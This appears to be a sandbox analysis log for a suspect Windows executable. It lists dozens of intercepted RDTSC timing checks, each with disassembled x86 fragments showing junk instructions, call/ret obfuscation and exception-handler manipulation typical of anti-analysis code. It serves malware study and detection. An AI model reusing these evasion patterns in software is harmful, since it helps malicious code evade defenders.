Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F351F second address: 9F3584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122DB8CBh], eax 0x00000010 push 00000000h 0x00000012 mov edi, 1D70859Bh 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FE2B0E6B888h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 pushad 0x00000034 sbb esi, 02432C1Fh 0x0000003a pushad 0x0000003b js 00007FE2B0E6B886h 0x00000041 mov ecx, dword ptr [ebp+122D397Ch] 0x00000047 popad 0x00000048 popad 0x00000049 push ebx 0x0000004a mov edi, 468F5EE4h 0x0000004f pop edi 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FE2B0E6B88Fh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F552B second address: 9F552F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F552F second address: 9F5533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F469F second address: 9F46AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FE2B0E330D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46AE second address: 9F46B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46B2 second address: 9F473D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE2B0E330DEh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FE2B0E330D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 movzx edi, di 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FE2B0E330D8h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c sub dword ptr [ebp+122D1912h], edx 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 movzx edi, di 0x0000005c mov eax, dword ptr [ebp+122D100Dh] 0x00000062 stc 0x00000063 mov edi, dword ptr [ebp+122D3644h] 0x00000069 push FFFFFFFFh 0x0000006b mov dword ptr [ebp+122D341Dh], edx 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F473D second address: 9F4742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4742 second address: 9F4763 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E330DCh 0x00000008 jno 00007FE2B0E330D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jng 00007FE2B0E330DCh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5726 second address: 9F572B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F572B second address: 9F5731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5731 second address: 9F5751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FE2B0E6B88Eh 0x00000010 jns 00007FE2B0E6B886h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5751 second address: 9F5756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6574 second address: 9F6598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6598 second address: 9F663A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE2B0E330DCh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D33DEh], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FE2B0E330D8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 pushad 0x00000034 stc 0x00000035 mov dword ptr [ebp+122D33E4h], eax 0x0000003b popad 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jmp 00007FE2B0E330DDh 0x00000048 mov eax, dword ptr [ebp+122D05E1h] 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007FE2B0E330D8h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 jmp 00007FE2B0E330DBh 0x0000006d push FFFFFFFFh 0x0000006f mov ebx, dword ptr [ebp+122D29D5h] 0x00000075 nop 0x00000076 pushad 0x00000077 pushad 0x00000078 pushad 0x00000079 popad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFA21 second address: 9FFA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE2B0E6B890h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFB9E second address: 9FFBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFBA7 second address: 9FFBBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B890h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFBBD second address: 9FFBD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFD42 second address: 9FFD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFD48 second address: 9FFD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFD4C second address: 9FFD5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FFD5C second address: 9FFD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06AE0 second address: A06B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE2B0E6B898h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06B02 second address: A06B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jo 00007FE2B0E330D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FE2B0E330E4h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06BDE second address: A06BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06BE3 second address: A06BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE2B0E330D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06BEE second address: A06C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jne 00007FE2B0E6B88Eh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FE2B0E6B898h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06C44 second address: A06C49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DFE second address: A06E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E04 second address: A06E3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE2B0E330E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E3D second address: A06E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE2B0E6B886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E47 second address: A06E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FE2B0E330D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E5C second address: A06E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06E66 second address: A06E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AFC3 second address: A0AFC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AFC8 second address: A0AFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FE2B0E330D6h 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B45D second address: A0B46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B88Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B5DE second address: A0B5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B9D5 second address: A0B9D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B9D9 second address: A0B9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330E0h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BB41 second address: A0BB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11EDB second address: A11EEB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11EEB second address: A11EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE2B0E6B886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11EF5 second address: A11F26 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E330D6h 0x00000008 jg 00007FE2B0E330D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FE2B0E330D6h 0x00000018 jmp 00007FE2B0E330E9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAD0C second address: 9DAD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007FE2B0E6B898h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAD1E second address: 9DAD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAD22 second address: 9DAD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAD26 second address: 9DAD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+122D36DCh] 0x0000000d lea eax, dword ptr [ebp+12488A84h] 0x00000013 movsx edx, cx 0x00000016 nop 0x00000017 pushad 0x00000018 jmp 00007FE2B0E330E9h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB2CB second address: 9DB2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB385 second address: 9DB389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB389 second address: 9DB38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB38F second address: 9DB39E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB39E second address: 9DB3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB3A2 second address: 9DB403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330DFh 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 js 00007FE2B0E330EFh 0x00000016 pop eax 0x00000017 stc 0x00000018 call 00007FE2B0E330D9h 0x0000001d jg 00007FE2B0E330E7h 0x00000023 jmp 00007FE2B0E330E1h 0x00000028 push eax 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB403 second address: 9DB407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB407 second address: 9DB421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnl 00007FE2B0E330E4h 0x00000011 pushad 0x00000012 jns 00007FE2B0E330D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB57F second address: 9DB5C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B890h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a xchg eax, esi 0x0000000b mov dword ptr [ebp+122D3253h], eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FE2B0E6B897h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE2B0E6B892h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB6A9 second address: 9DB6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jnl 00007FE2B0E330D8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E330E9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBEE7 second address: 9DBEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE2B0E6B886h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBEF2 second address: 9DBF12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC1FA second address: 9DC1FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FB9 second address: A10FCD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e ja 00007FE2B0E330D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FCD second address: A10FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A111BC second address: A111C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A111C4 second address: A111DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE2B0E6B891h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A111DE second address: A11241 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007FE2B0E330F1h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE2B0E330E9h 0x00000019 pushad 0x0000001a jng 00007FE2B0E330D6h 0x00000020 jmp 00007FE2B0E330E7h 0x00000025 popad 0x00000026 push ebx 0x00000027 jmp 00007FE2B0E330E0h 0x0000002c pushad 0x0000002d popad 0x0000002e pop ebx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114F0 second address: A114FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114FB second address: A114FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114FF second address: A11505 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11670 second address: A11676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11676 second address: A1167C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1167C second address: A11680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11680 second address: A1169E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B890h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE2B0E6B886h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1169E second address: A116CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jno 00007FE2B0E330D6h 0x00000016 js 00007FE2B0E330D6h 0x0000001c popad 0x0000001d jne 00007FE2B0E330DAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CFE second address: A14D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14D02 second address: A14D0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14D0C second address: A14D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14D12 second address: A14D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14D16 second address: A14D2F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FE2B0E6B886h 0x0000000d je 00007FE2B0E6B886h 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14D2F second address: A14D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1825C second address: A18260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18260 second address: A18279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18279 second address: A18294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FE2B0E6B8B8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
